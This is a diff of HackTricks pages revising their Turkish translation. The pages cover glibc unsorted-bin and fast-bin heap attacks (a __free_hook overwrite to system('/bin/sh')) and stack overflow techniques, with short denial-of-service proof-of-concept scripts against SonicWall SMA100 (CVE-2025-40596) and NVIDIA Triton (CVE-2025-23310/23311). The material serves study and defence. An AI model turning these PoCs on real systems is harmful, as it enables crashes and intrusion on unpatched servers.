+  - `free(B)`. Ekleme zamanında allocator `bck->fd = B` çalıştırır; dolayısıyla `*(TARGET) = B`.
 - Devam
-  - Eğer allocation yapmaya devam edecekseniz ve program unsorted bin'i kullanıyorsa, allocator'ın daha sonra `*(TARGET) = unsorted_chunks(av)` yazacağını bekleyin. Her iki değer de tipik olarak büyük olup, sadece "büyük" olup olmadığına bakan hedeflerde boyut/limit semantiğini değiştirmek için yeterli olabilir.
+  - Eğer allocate etmeye devam etmeyi planlıyorsanız ve program unsorted bin'i kullanıyorsa, allocator daha sonra `*(TARGET) = unsorted_chunks(av)` yazacaktır. Her iki değer de tipik olarak büyük olup sadece "büyük" kontrolü yapan hedeflerde boyut/limit semantiğini değiştirmeye yetecektir.
 
 Pseudocode skeleton:
 ```c
@@ -80,33 +87,33 @@ void *C = malloc(0x5000); // guard
 free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
 ```
 > [!NOTE]
-> • Eğer size ile tcache'i atlatamıyorsanız, bozulan chunk'ı free etmeden önce seçilen boyut için tcache bin'ini doldurun (7 frees) ki free unsorted'a gitsin.
-> • Eğer program bir sonraki allocation'da unsorted-bin kontrolleri nedeniyle hemen abort ediyorsa, `victim->fd`'nin hâlâ bin head'e eşit olduğunu ve ilk yazmadan sonra `TARGET`'in tam olarak `victim` pointer'ını tuttuğunu yeniden kontrol edin.
+> • Eğer tcache'i boyut ile atlatamıyorsanız, bozuk chunk'ı free etmeden önce seçilen boyut için tcache bin'ini (7 free) doldurun ki free unsorted'a gitsin.
+> • Eğer program unsorted-bin kontrolleri nedeniyle sonraki allocation'da hemen abort ediyorsa, `victim->fd`'nin hâlâ bin head'e eşit olduğunu ve ilk write'tan sonra `TARGET`'ınızın tam olarak `victim` pointer'ını tuttuğunu tekrar kontrol edin.
 
 ## Unsorted Bin Infoleak Attack
 
-Bu aslında çok temel bir konsept. unsorted bin'deki chunk'ların pointer'ları olur. Unsorted bin'deki ilk chunk gerçekte **`fd`** ve **`bk`** link'lerini **main arena (Glibc)**'nin bir kısmına işaret edecek şekilde tutar.\
-Dolayısıyla, eğer bir chunk'ı unsorted bin içine koyup okuyabiliyorsanız (use after free) veya en az bir pointer'ı ezmeden tekrar allocate edip sonra okuyabiliyorsanız, bir **Glibc info leak** elde edebilirsiniz.
+This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
+Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
 
-Benzer bir [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), 4 chunk'lık bir yapı (A, B, C ve D - D sadece top chunk ile consolidation'ı önlemek için) suiistimal edilerek yapılmış; B'deki 1 byte null overflow, C'nin B'nin unused olduğunu göstermesi için kullanılmış. Ayrıca B içinde `prev_size` verisi değiştirilmiş, böylece boyut B'nin boyutu yerine A+B olmuş.\
-Sonra C free edilmiş ve A+B ile consolidate olmuş (B hâlâ in use). Boyutu A olan yeni bir chunk allocate edilmiş ve ardından libc leaked adresleri B'ye yazılmış, buradan leak edilmişler.
+A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
+Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
 
 ## Referanslar ve Diğer örnekler
 
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
-- Amaç, PIE etkin değilken global bir değişkeni 4869'dan büyük bir değerle overwrite etmek (flag alınabilir hale getirmek).
-- İstenilen boyutta bir heap overflow ile arbitrary boyutlarda chunk üretmek mümkün.
-- Saldırı chunk'lar oluşturmakla başlar: overflow için chunk0, overflow edilecek chunk1 ve top chunk'un önceki chunk'larla consolidate olmasını önlemek için chunk2.
-- Ardından chunk1 free edilir ve chunk0, chunk1'in `bk` pointer'ına overflow edilir: `bk = magic - 0x10`
-- Sonra chunk3, chunk1 ile aynı boyutta allocate edilir; bu unsorted bin attack'ı tetikleyecek ve global değişkenin değerini değiştirecek, böylece flag alınabilecek hale gelecek.
+- Amaç, global bir değişkeni 4869'dan büyük bir değerle overwrite etmek; böylece flag alınabiliyor ve PIE etkin değil.
+- İstenilen boyutta heap overflow bulunan, rassal boyutlarda chunk üretilebilen bir senaryo mevcut.
+- Attack, overflow'u suistimal etmek için chunk0, overflow edilecek chunk1 ve top chunk'ın önceki chunklarla consolidate olmasını önlemek için chunk2 olmak üzere 3 chunk oluşturarak başlıyor.
+- Ardından chunk1 free ediliyor ve chunk0 overflow edilerek chunk1'in `bk` pointer'ının işaret ettiği değer şu şekilde ayarlanıyor: `bk = magic - 0x10`
+- Sonra chunk3, chunk1 ile aynı boyutta allocate ediliyor; bu unsorted bin attack'ı tetikleyecek ve global değişkenin değerini değiştirerek flag alınmasını mümkün kılacak.
 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
-- merge fonksiyonu, eğer aynı index iki kez geçirilirse realloc yapıp sonra free ettiği ve freed bölgeye işaret eden bir pointer döndürdüğü için vuln.
-- Bu sebeple, **2 chunk oluşturulur**: kendisiyle merge edilecek olan **chunk0** ve top chunk ile consolidate olmaması için chunk1. Sonra **merge** fonksiyonu chunk0 ile iki kez çağrılır ve bu use after free'e yol açar.
-- Ardından **`view`** fonksiyonu index 2 ile çağrılır (use after free chunk'un index'i), bu da **libc adresi leak** eder.
-- Binary, sadece `global_max_fast`'tan büyük boyutlarda malloc yapmaya izin veren korumalara sahip olduğundan fastbin kullanılmaz; bu yüzden `global_max_fast`'ı overwrite etmek için bir unsorted bin attack kullanılacak.
-- Sonra, edit fonksiyonu index 2 (use after free pointer) ile çağrılıp `bk` pointer'ı `p64(global_max_fast-0x10)`'a overwrite edilir. Ardından yeni bir chunk oluşturmak, daha önce değiştirilmiş free adresini kullanacak (0x20) ve **unsorted bin attack'ı** tetikleyerek `global_max_fast`'ı çok büyük bir değere overwrite eder; böylece artık fast bin'lerde chunk oluşturmak mümkün olur.
-- Şimdi bir **fast bin attack** gerçekleştirilir:
-- Öncelikle `__free_hook` konumunda fast boyutlu chunk'larla çalışılabildiği keşfedilir:
+- merge fonksiyonu, eğer aynı index iki kez geçirilirse söz konusu bölgeyi realloc edip sonra free ettiğinden dolayı vulnerable; freed bölgeye pointer döndürülüyor ve bu use after free için kullanılabiliyor.
+- Bu yüzden **2 chunk oluşturuluyor**: kendisiyle merge edilecek olan **chunk0** ve top chunk ile consolidate olmasını engellemek için chunk1. Ardından **merge fonksiyonu chunk0 ile iki kez çağrılıyor** ve bu use after free'e yol açıyor.
+- Sonra `view` fonksiyonu index 2 (use after free pointer'ının index'i) ile çağrılıyor ve bu **libc address leak**'ine neden oluyor.
+- Binary, sadece `global_max_fast`'tan büyük boyutlarda malloc yapılmasına izin veren korumalar içerdiği için fastbin kullanılmıyor; bunun yerine `global_max_fast`'ı overwrite etmek için unsorted bin attack kullanılacak.
+- Daha sonra, edit fonksiyonu index 2 (use after free pointer) ile çağrılarak `bk` pointer'ı `p64(global_max_fast-0x10)`'a overwrite ediliyor. Ardından yeni bir chunk yaratmak, önce kompromize edilmiş free adresini (0x20) kullanacak ve **unsorted bin attack'ı** tetikleyerek `global_max_fast`'ı çok büyük bir değere overwrite edecek; böylece artık fast bin'lerde chunk oluşturmak mümkün olacak.
+- Şimdi bir **fast bin attack** gerçekleştiriliyor:
+- Öncelikle `__free_hook` lokasyonunda fast chunk'larla (size 200) çalışılabildiği keşfediliyor:
 - <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,19 +122,19 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
-- Eğer bu konumda 0x200 boyutunda bir fast chunk elde edebilirsek, yürütülecek bir function pointer'ı overwrite etmek mümkün olacak.
-- Bunun için `0xfc` boyutunda yeni bir chunk oluşturulur ve merged fonksiyonu bu pointer ile iki kez çağrılır; böylece fast bin'de `0xfc*2 = 0x1f8` boyutunda freed bir chunk pointer'ı elde edilir.
-- Sonra edit fonksiyonu bu chunk'ta çağrılarak bu fast bin'in **`fd`** adresi önceki **`__free_hook`** fonksiyonuna işaret edecek şekilde değiştirilir.
-- Ardından `0x1f8` boyutunda bir chunk oluşturulur, fast bin'den o işe yaramaz chunk alınır ve başka bir `0x1f8` chunk daha oluşturularak `__free_hook`'ta bir fast bin chunk elde edilir; burası `system` fonksiyonunun adresiyle overwrite edilir.
-- Son olarak `/bin/sh\x00` içeren bir chunk delete fonksiyonu ile free edilerek `__free_hook` tetiklenir; `__free_hook` artık system'e işaret eder ve `/bin/sh\x00` parametresiyle çağrılır.
+- Eğer bu lokasyonda 0x200 boyutunda bir fast chunk elde edebilirsek, çalıştırılacak bir function pointer'ı overwrite etmek mümkün olacak.
+- Bunun için `0xfc` boyutunda yeni bir chunk oluşturuluyor ve merge fonksiyonu bu pointer ile iki kez çağrılıyor; böylece fast bin'de `0xfc*2 = 0x1f8` boyutunda freed bir chunk pointer'ı elde ediliyor.
+- Ardından edit fonksiyonu bu chunk'ta çağrılarak fast bin'in `fd` adresi önceki `__free_hook` fonksiyonuna işaret edecek şekilde değiştiriliyor.
+- Sonra `0x1f8` boyutunda bir chunk oluşturulup fast bin'deki önceki işe yaramaz chunk alınıyor; başka bir `0x1f8` chunk daha oluşturularak fast bin'den `__free_hook` lokasyonunda bir chunk alınıp bu lokasyon `system` fonksiyonunun adresi ile overwrite ediliyor.
+- Ve nihayet `/bin/sh\x00` içeren bir chunk delete fonksiyonu ile free edilerek `__free_hook` fonksiyonu tetikleniyor; `__free_hook` şimdi system'e işaret ediyor ve parametre olarak `/bin/sh\x00` alıyor.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- 1 byte overflow kullanılarak unsorted bin'de chunk'ların consolidate edilmesiyle libc infoleak elde edilip ardından fast bin attack ile malloc hook'un one gadget adresiyle overwrite edilmesine dair başka bir örnek
+- 1B overflow suistimal edilerek unsorted bin'de chunk'ların consolidate edilmesiyle libc infoleak elde edilip daha sonra malloc hook'u one gadget adresiyle overwrite etmek için fast bin attack yapılan başka bir örnek.
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
 - Sadece `0x100`'den büyük boyutlarda chunk allocate edilebiliyor.
-- Unsorted Bin attack ile `global_max_fast` overwrite ediliyor (ASLR nedeniyle 1/16 oranında işe yarıyor; çünkü 12 bit'i değil 16 bit'i değiştirmek gerekiyor).
-- Fast Bin attack ile global bir chunk dizisi modify ediliyor. Bu, arbitrary read/write primitive sağlar ve GOT'u değiştirip bazı fonksiyonları `system`'e yönlendirmeye izin verir.
+- Unsorted Bin attack kullanılarak `global_max_fast` overwrite ediliyor (ASLR nedeniyle 1/16 çalışıyor; çünkü 12 bit değiştirmemiz gerekiyor, ama 16 bit değiştirmeliyiz).
+- Fast Bin attack ile global bir chunks array'i modify ediliyor. Bu, arbitrary read/write primitive veriyor ve GOT'u değiştirip bazı fonksiyonları `system`'e yönlendirmeyi sağlıyor.
 
-## References
+## Referanslar
 
 - Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
 - `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c

src/binary-exploitation/stack-overflow/README.md

@@ -2,25 +2,17 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## What is a Stack Overflow
+## Stack Overflow Nedir
 
-A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
+Bir **stack overflow**, bir programın stack'e tutulan miktardan daha fazla veri yazdığında ortaya çıkan bir zayıflıktır. Bu fazla veri, **bitişik bellek alanını üzerine yazarak** geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun çalıştırılmasına yol açabilir. Bu sorun genellikle girdiler üzerinde bounds checking yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
 
-Bir **stack overflow**, bir programın yığına (stack) tutulması için ayrılan alandan daha fazla veri yazması durumunda ortaya çıkan bir güvenlik açığıdır. Bu fazla veri, bitişik bellek alanını **üzerine yazarak** geçerli verinin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun çalıştırılmasına yol açar. Bu sorun genellikle girdide sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
+Bu overwrite işleminin asıl problemi, **saved instruction pointer (EIP/RIP)** ve önceki fonksiyona dönmek için saklanan **saved base pointer (EBP/RBP)** değerlerinin **stack üzerinde saklanıyor** olmasıdır. Bu nedenle, bir saldırgan bu değerleri overwrite ederek **programın yürütme akışını kontrol edebilir**.
 
-The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
+Zafiyet genellikle bir fonksiyonun **stack içinde kendisine ayrılan miktardan daha fazla byte kopyalaması** nedeniyle ortaya çıkar; bu sayede stack'in diğer bölümlerini overwrite edebilir.
 
-Bu üzerine yazmanın asıl sorunu, önceki fonksiyona dönmek için kullanılan **saved instruction pointer (EIP/RIP)** ve **saved base pointer (EBP/RBP)**'ın **stack'te saklanıyor** olmasıdır. Bu nedenle, bir saldırgan bunların üzerine yazarak programın yürütme akışını **kontrol edebilir**.
+Bu duruma sıkça yatkın olan fonksiyonlardan bazıları: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca **`fgets`**, **`read`** ve **`memcpy`** gibi bir **length argument** alan fonksiyonlar, belirtilen uzunluk ayrılandan büyükse yanlış kullanıldığında savunmasız olabilir.
 
-The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
-
-Bu zafiyet genellikle bir fonksiyonun **stack içinde kendisi için ayrılan miktardan daha fazla byte kopyalaması** nedeniyle ortaya çıkar; böylece yığının diğer bölümlerinin üzerine yazılabilir.
-
-Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
-
-Bu duruma yaygın olarak hassas bazı fonksiyonlar: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, bir **uzunluk argümanı** alan **`fgets`**, **`read`** ve **`memcpy`** gibi fonksiyonlar, belirtilen uzunluk ayrılan boyuttan büyükse savunmasız şekilde kullanılabilir.
-
-For example, the following functions could be vulnerable:
+Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:
 ```c
 void vulnerable() {
 char buffer[128];
@@ -29,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
 printf("You entered: %s\n", buffer);
 }
 ```
-### Finding Stack Overflows offsets
+### Stack Overflows offset'lerini Bulma
 
-The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **adres `0x41414141`'e erişilmeye çalışıldığı**.
+Stack Overflows bulmanın en yaygın yolu, çok büyük bir `A` girdisi vermektir (ör. `python3 -c 'print("A"*1000)'`) ve `Segmentation Fault` beklemektir; bu, **adres `0x41414141`'e erişilmeye çalışıldığını** gösterir.
 
-Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length _n_ appears exactly once** as a contiguous subsequence.
+Ayrıca, bir Stack Overflow zafiyeti bulduktan sonra **overwrite the return address**'in mümkün olduğu offset'i bulmanız gerekir; bunun için genellikle bir **De Bruijn sequence** kullanılır. Verilen _k_ boyutunda bir alfabet ve uzunluğu _n_ olan alt diziler için, bu, her olası uzunluk _n_ alt dizisinin tam olarak bir kez ardışık bir alt dizi olarak göründüğü bir **cyclic sequence**'dir.
 
-This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
+Böylece, EIP'i elle kontrol etmek için hangi offset gerektiğini bulmak yerine, padding olarak bu dizilerden birini kullanmak ve sonra onu overwrite etmeye başlayan byte'ların offset'ini bulmak mümkün olur.
 
-It's possible to use **pwntools** for this:
+Bunun için **pwntools** kullanmak mümkündür:
 ```python
 from pwn import *
 
@@ -58,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
 ```
 ## Stack Overflows'ı İstismar Etme
 
-Bir overflow sırasında (taşma boyutu yeterince büyük varsayıldığında) stack içindeki yerel değişkenlerin değerlerini kaydedilmiş **EBP/RBP and EIP/RIP (or even more)**'e ulaşana dek **overwrite** edebileceksiniz.\
-Bu tür bir açığı kötüye kullanmanın en yaygın yolu, fonksiyon sona erdiğinde **control flow**'un bu pointer'da kullanıcının belirttiği yere yönlendirilmesi için **modifying the return address** yapmaktır.
+Bir overflow sırasında (taşma boyutu yeterince büyükse) stack içindeki yerel değişkenlerin değerlerini kaydedilmiş **EBP/RBP and EIP/RIP (or even more)**'a ulaşana kadar **overwrite** edebileceksiniz.\
+Bu tür bir zafiyeti suistimal etmenin en yaygın yolu, **modifying the return address** yapmaktır; böylece fonksiyon sona erdiğinde **control flow will be redirected wherever the user specified** bu pointer içinde gösterilen yere yönlendirilir.
 
-Ancak, diğer senaryolarda sadece stack içindeki bazı değişken değerlerini **overwriting some variables values in the stack** yeterli olabilir (örneğin kolay CTF challenge'larında).
+Ancak, bazı senaryolarda sadece stack içindeki bazı değişkenlerin değerlerini **overwriting** yapmak istismarı gerçekleştirmek için yeterli olabilir (ör. kolay CTF challenge'larında).
 
 ### Ret2win
 
-Bu tip CTF challenge'larında binary içinde **never called** olan ve **you need to call in order to win** olan bir **function** bulunur. Bu tür challenge'larda yapmanız gereken tek şey **offset to overwrite the return address**'i bulmak ve çağırılacak **address of the function**'ı bulmaktır (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olur) böylece vulnerable function return ettiğinde gizli function çağrılır:
+Bu tür CTF challenge'larında, binary içinde hiç çağrılmayan ve kazanmak için çağırmanız gereken bir **function** bulunur. Bu challenge'ler için yapmanız gereken tek şey **offset to overwrite the return address**'i bulmak ve çağrılacak **function**'ın adresini tespit etmektir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olur) böylece zafiyetli function döndüğünde gizli function çağrılır:
 
 
 {{#ref}}
@@ -74,7 +66,7 @@ ret2win/
 
 ### Stack Shellcode
 
-Bu senaryoda attacker stack'e bir shellcode yerleştirebilir ve controlled EIP/RIP'i shellcode'a atlamak ve arbitrary code çalıştırmak için kullanabilir:
+Bu senaryoda saldırgan shellcode'u stack'e yerleştirebilir ve kontrol edilen EIP/RIP'i shellcode'a atlamak ve arbitrary code çalıştırmak için kullanabilir:
 
 
 {{#ref}}
@@ -83,7 +75,7 @@ stack-shellcode/
 
 ### Windows SEH-based exploitation (nSEH/SEH)
 
-32-bit Windows'ta, bir overflow kaydedilmiş return address yerine Structured Exception Handler (SEH) zincirini overwrite edebilir. İstismar genellikle SEH pointer'ını bir POP POP RET gadget ile değiştirir ve 4-byte'lık nSEH alanını shellcode'un bulunduğu büyük buffer'a geri pivot yapmak için kısa bir jump için kullanır. Yaygın bir desen, nSEH içinde kısa bir jmp olup bunun hemen öncesine yerleştirilmiş 5-byte'lık bir near jmp'un payload başlangıcına yüzlerce byte geri atlamasıdır.
+32-bit Windows'ta, bir overflow kaydedilmiş return address yerine Structured Exception Handler (SEH) zincirini overwrite edebilir. İstismar genellikle SEH işaretçisini bir POP POP RET gadget ile değiştirir ve 4 baytlık nSEH alanını shellcode'un bulunduğu büyük buffer'a geri pivotlamak için kısa bir atlama yapmak üzere kullanır. Yaygın bir desen, nSEH içinde kısa bir jmp olup bunun nSEH'den hemen önce yerleştirilen 5 baytlık near jmp üzerine düşmesi ve payload başlangıcına yüzlerce byte geri atlamasıdır.
 
 
 {{#ref}}
@@ -92,7 +84,7 @@ windows-seh-overflow.md
 
 ### ROP & Ret2... techniques
 
-Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçeveyi sağlar: **No executable stack (NX)**. Ayrıca existing instructions in the binary'yi kullanarak arbitrary komutlar çalıştıracak birçok diğer tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır:
+Bu teknik, önceki tekniğin ana korumasını atlatmak için temel çerçeveyi sağlar: **No executable stack (NX)**. Ayrıca ret2lib, ret2syscall gibi ve mevcut binary içindeki talimatları suistimal ederek arbitrary komutlar çalıştırmayı sağlayan birçok başka tekniği gerçekleştirmeye imkan verir:
 
 
 {{#ref}}
@@ -101,7 +93,7 @@ Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçeveyi sa
 
 ## Heap Overflows
 
-Bir overflow her zaman stack'te olmak zorunda değildir; örneğin **heap**'te de olabilir:
+Bir overflow her zaman stack'te olmak zorunda değildir, örneğin **heap** içinde de olabilir:
 
 
 {{#ref}}
@@ -110,7 +102,7 @@ Bir overflow her zaman stack'te olmak zorunda değildir; örneğin **heap**'te d
 
 ## Koruma Türleri
 
-Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bunları şu yerde inceleyin:
+Zafiyetlerin istismarını engellemeye çalışan çeşitli korumalar vardır, bunları şu dizinde inceleyin:
 
 
 {{#ref}}
@@ -119,33 +111,32 @@ Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bun
 
 ### Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100)
 
-Neden **`sscanf` should never be trusted for parsing untrusted input** olduğunun iyi bir gösterimi 2025'te SonicWall’ın SMA100 SSL-VPN appliance'ında ortaya çıktı.
-`/usr/src/EasyAccess/bin/httpd` içindeki vulnerable rutin, `/__api__/` ile başlayan herhangi bir URI'den version ve endpoint çıkarmaya çalışıyordu:
+`sscanf`'ın untrusted input'u parse etmek için asla güvenilmemesi gerektiğini gösteren iyi bir örnek 2025'te SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı. `/usr/src/EasyAccess/bin/httpd` içindeki zafiyetli rutin, `/__api__/` ile başlayan herhangi bir URI'den version ve endpoint'i çıkarmaya çalışıyordu:
 ```c
 char version[3];
 char endpoint[0x800] = {0};
 /* simplified proto-type */
 sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
 ```
-1. İlk dönüşüm (`%2s`) `version` içine güvenli şekilde **iki** bayt depolar (ör. `"v1"`).
-2. İkinci dönüşüm (`%s`) **uzunluk belirticisi içermez**, bu yüzden `sscanf` kopyalamaya **ilk NUL byte'a kadar** devam eder.
-3. Çünkü `endpoint` **stack** üzerinde bulunur ve **0x800 bayt uzunluğundadır**, 0x800'den uzun bir path sağlamak buffer'ın sonrasında bulunan her şeyi bozar ‑ buna **stack canary** ve **saved return address** da dahildir.
+1. İlk dönüşüm (`%2s`) güvenli bir şekilde `version` içine **iki** bayt depolar (ör. `"v1"`).
+2. İkinci dönüşüm (`%s`) **uzunluk belirticisine sahip değil**, bu nedenle `sscanf` **ilk NUL byte'a kadar** kopyalamaya devam eder.
+3. Çünkü `endpoint` **stack** üzerinde bulunur ve **0x800 bayt uzunluğundadır**, 0x800 bayttan daha uzun bir path sağlamak buffer'dan sonra yer alan her şeyi bozar ‑ bunların arasında **stack canary** ve **saved return address** de vardır.
 
-Tek satırlık bir proof-of-concept, çöküşü **authentication** öncesinde tetiklemek için yeterlidir:
+Tek satırlık bir proof-of-concept, çöküşü **kimlik doğrulamadan önce** tetiklemek için yeterlidir:
 ```python
 import requests, warnings
 warnings.filterwarnings('ignore')
 url = "https://TARGET/__api__/v1/" + "A"*3000
 requests.get(url, verify=False)
 ```
-Stack canaries işlemi sonlandırsa bile, bir saldırgan yine de bir **Denial-of-Service** primitive elde eder (and, with additional information leaks, possibly code-execution). Ders basit:
+Stack canaries işlemi sonlandırsa da, saldırgan yine de bir **Denial-of-Service** primitive elde eder (ve ek bilgi leaks olması durumunda, muhtemelen code-execution). Ders basit:
 
-* Her zaman bir **maksimum alan genişliği** belirtin (örn. `%511s`).
-* Daha güvenli alternatifleri tercih edin; örn. `snprintf`/`strncpy_s`.
+* Her zaman bir **azami alan genişliği** belirtin (örn. `%511s`).
+* `snprintf`/`strncpy_s` gibi daha güvenli alternatifleri tercih edin.
 
 ### Gerçek Dünya Örneği: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
 
-NVIDIA’nin Triton Inference Server (≤ v25.06), HTTP API aracılığıyla ulaşılabilen birden fazla **stack-based overflows** içeriyordu.
+NVIDIA’s Triton Inference Server (≤ v25.06), HTTP API'si aracılığıyla erişilebilen birden çok **stack-based overflow** içeriyordu.
 Zafiyetli desen `http_server.cc` ve `sagemaker_server.cc` içinde tekrar tekrar ortaya çıkıyordu:
 ```c
 int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
@@ -156,9 +147,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
 ...
 }
 ```
-1. `evbuffer_peek` (libevent) mevcut HTTP istek gövdesini oluşturan **dahili buffer segmentlerinin sayısını** döndürür.
-2. Her segment `alloca()` aracılığıyla **stack** üzerinde **16-byte** büyüklüğünde bir `evbuffer_iovec` ayrılmasına neden olur – **herhangi bir üst sınır olmadan**.
-3. Bir istemci **HTTP _chunked transfer-encoding_**'i kötüye kullanarak isteğin **yüzbinlerce 6-byte parçaya** (`"1\r\nA\r\n"`) bölünmesini sağlayabilir. Bu, `n`'in stack tükenene kadar sınırsız şekilde artmasına yol açar.
+1. `evbuffer_peek` (libevent) şu anki HTTP isteğinin gövdesini oluşturan **iç tampon segmentlerinin sayısını** döndürür.
+2. Her segment, `alloca()` aracılığıyla **stack** üzerinde **16-byte** `evbuffer_iovec` tahsis edilmesine neden olur – **herhangi bir üst sınır olmadan**.
+3. **HTTP _chunked transfer-encoding_**'i suistimal ederek, bir istemci isteğin **6-byte'lık parçacıklara yüzbinlerce** bölünmesini zorlayabilir (`"1\r\nA\r\n"`). Bu, `n`'in stack tükenene kadar kontrolsüz şekilde büyümesine neden olur.
 
 #### Kavram Kanıtı (DoS)
 ```python
@@ -184,10 +175,10 @@ s.close()
 if __name__ == "__main__":
 exploit(*sys.argv[1:])
 ```
-Varsayılan bir derlemede yaklaşık ~3 MB'lık bir istek, kaydedilmiş dönüş adresini ezerek daemon'ı **crash** ettirmek için yeterlidir.
+Yaklaşık ~3 MB'lık bir istek, kaydedilmiş dönüş adresini ezmek ve varsayılan derlemede daemon'ı **crash** etmek için yeterlidir.
 
-#### Yama ve Hafifletme
-25.07 sürümü, güvensiz stack tahsisini **heap-backed `std::vector`** ile değiştirir ve `std::bad_alloc` durumunu düzgün şekilde ele alır:
+#### Düzeltme ve Hafifletme
+25.07 sürümü unsafe stack allocation'ı **heap-backed `std::vector`** ile değiştirir ve `std::bad_alloc`'ı düzgün şekilde ele alır:
 ```c++
 std::vector<evbuffer_iovec> v_vec;
 try {
@@ -198,11 +189,11 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
 struct evbuffer_iovec *v = v_vec.data();
 ```
 Öğrenilen dersler:
-* Asla `alloca()`'yı saldırgan tarafından kontrol edilen boyutlarla çağırmayın.
-* Chunked requests sunucu tarafı tamponların şeklini önemli ölçüde değiştirebilir.
-* İstemci girdisinden türetilen herhangi bir değeri, bellek ayırmalarında kullanmadan *önce* doğrulayın / sınırlandırın.
+* Saldırgan kontrolündeki boyutlarla asla `alloca()`'yı çağırmayın.
+* Chunked requests, sunucu tarafı buffer'ların şeklini ciddi şekilde değiştirebilir.
+* Bellek tahsislerinde kullanmadan *önce*, istemci girdisinden türetilen herhangi bir değeri doğrulayın/sınırlandırın.
 
-## Kaynaklar
+## Referanslar
 * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
 * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
